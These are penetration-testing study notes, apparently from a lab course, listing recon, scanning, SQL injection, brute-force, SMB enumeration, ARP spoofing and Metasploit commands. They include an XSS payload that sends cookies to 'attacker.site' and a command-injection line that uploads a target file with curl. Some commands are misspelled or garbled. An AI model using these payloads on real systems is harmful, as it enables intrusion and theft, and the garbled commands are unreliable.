**# pts**

**Adding network to route table**

**Routing:**

**• ip route add <network> via <gateway> dev <interface>**

**gathering information’s (passive):**

**help to Understand the target organization widen the attack surface and amount efficient and targeted attacks**

**1- Domain enumeration:**

**• dnsdumpster.com**

**• sublist3r -d <domain> -o <output file>**

**• whois <domain>**

**scanning and fingerprinting:**

**help to perform efficient and have knowledge of the scope targets**

**1- Scanning:**

**Ping sweep:**

**o Ping  for alive hosts:**

**• fping -a -g <network\_id/cidr> 2> /dev/null/**

**• nmap -sn < network\_id/cidr >  ping sweep**

**2- OS fingerprinting:**

**• nmap -O <OS fingerprinting>**

**For software of hosts running**

**• nmap -sn -O < network\_id/cidr>**

**3- scan ports:**

**o Nmap**

**• nmap -sn <host discovery, is it up or not>**

**• nmap -sT <full tcp 3 way shake>**

**• nmap -sS < syn scan, lighter on the network>**

**• nmap -iL <import from list>**

**• nmap -sV < version detection>**

**• nmap -O <OS fingerprinting>**

**• nmap -A <all>**

**vulnerability assessment:**

**help to prepare yourself for exploitation**

**1- Nessus**

**• To run Nessus: /bin/systemctl start nessusd.service**

**• To run web: https://kali:8834/**

**2- To scan the XSS vulnerability:**

**example: xsser --url 'http://demo.ine.local/index.php?page=dns-lookup.php' -p 'target\_host=XSS&dns-lookup-php-submit-button=Lookup+DNS' --auto**

**3- nikto**

**nikto -h <url>**

**4- nmap**

**nmap –script vuln <ip>**

**exploitation:**

**1- fingerprinting:**

**o banner grabbing:**

**• netcat / nc <target address> <port> -v <for verbos>**

**\*\* should be all upper case**

**• opennssl s\_client -connect <ip: port> <this is for ssl /tsl services>**

**• httprint -p0 -h <target host> -s < signature file>**

**2- Find hidden dier:**

**o cd dirsearch**

**python3 dirsearch.py -u <URL> -e <EXTENSIONS>**

**o Dirbuster**

**3- vulnerability:**

**3.1- XSS (cross site script):**

**Script to show cookie in the alert:**

**o <script>alert(document.cookie);</script>**

**Script for send cookies every time someone enters to contact page by:**

**o <script>**

**var i = new Image();**

**i.src="http://attacker.site/get.php? cookie="+escape(document.cookie)</script>**

**web Page1:**

**My server (receive cookies id):**

**o http://attacker.site /get.php?p=<payloads>**

**web page2:**

**show cookies Hach:**

**o http://attacker.site/jar.txt**

**3.2 - SQLi:**

**• Sqlmap**

**• sqlmap -u <url> -p <parameter> --technique=<B,U>**

**• sqlmap -u <url> -data <data from burp> -p <parameter>**

**• sqlmap -r <http request file> --os-shell**

**• --dbs show databases**

**• --tables <show tables>**

**• -T <select table>**

**• --columns <show columns>**

**• -C <select columns >**

**• --dump <extract the data>**

**Example:**

**sqlmap -u <url> -p <parameter> ?id=1**

**sqlmap -u <url> -p <parameter> ?id=1 -b**

**sqlmap -u <url> -p <parameter> ?id=1 --tables**

**sqlmap -u <url> -p <parameter> ?id=1 --currennt -db <database> --columns**

**sqlmap -u <url> -p <parameter> ?id=1 --currennt -db <database> --dump**

**3.3 -MySQL:**

**• mysql -u <username> -p<password> -h <host>**

**use <name of database>**

**show tables;**

**select \* from <table name>;**

**System Attacks and Network Attacks:**

**3.4 -Password crack and brute force:**

**• hydra -L <name list> -P <pass list> telnet://<ip>**

**• hydra -L <name list> -P <pass list> <ip> ssh**

**• john -wordlist=<word list> <hash file>**

**• unshadow <file> > <file.txt>**

**3.5 -REC:**

**• scp ssh@<host ip>/path file>**

**• talent <domain> -l <name>**

**• ssh <username@domain>**

**3.6 -Command parameter**

**http://demo.ine.local:8000?cmd<parameter>=curl+<local machine>+--upload-file+<target file>**

**3.7 -null sessions**

**emumeration**

**• enum4linux**

**• emun4linux -n <domain> : do an nmblookup**

**• emun4linux -P <domain> : to cheek password policy**

**• emun4linux -S <domain>: will give us information about the SMB shares on the machine**

**• emun4linux -U <domain> : to view users**

**• emun4linux -a <domain> : run all simple enumeration**

**• smbclient -L <ip>**

**• smbclient //<ip>/<share folder>**

**• smbclient \\\\<ip>\\ <share folder>**

**• get <share folder> <host path>**

**• Nmap –script-agrs=unsafe=1 -–script smb-check-vulns -p445 <ip> >old way**

**• Nmap --script smb-check-vuln-\* -p445 <ip> >>new**

**3.8 -Arp spoofing:**

**• Echo 1 > /proc/sys/net/ipv4/ip\_forward : to run as router**

**• Echo 0 > /proc/sys/net/ipv4/ip\_forward :to stop router**

**• Arpspoof -I <interface> -t <target> -r <host>**

**Metasploit:**

**• msfconsole: to run Metasploit**

**• search <search\_term>: search for vulnerability …**

**• use <number/name>: Load config. (For exploit)**

**• set <payload >: For assign payload**

**• run / exploit**

** Show<any>: list option about payload, exploit……**

** Info: show vulnerability information**

** back: return to main banner**

** Set < variable > < value >: assign value to a variable (for option)**

** getuid**

** getsystem**

**o Netcat**

**• Nc <option> <host> <port>**

**Ex: nc -nlvp 127.0.0.1 4444 (listing on server on port 4444)**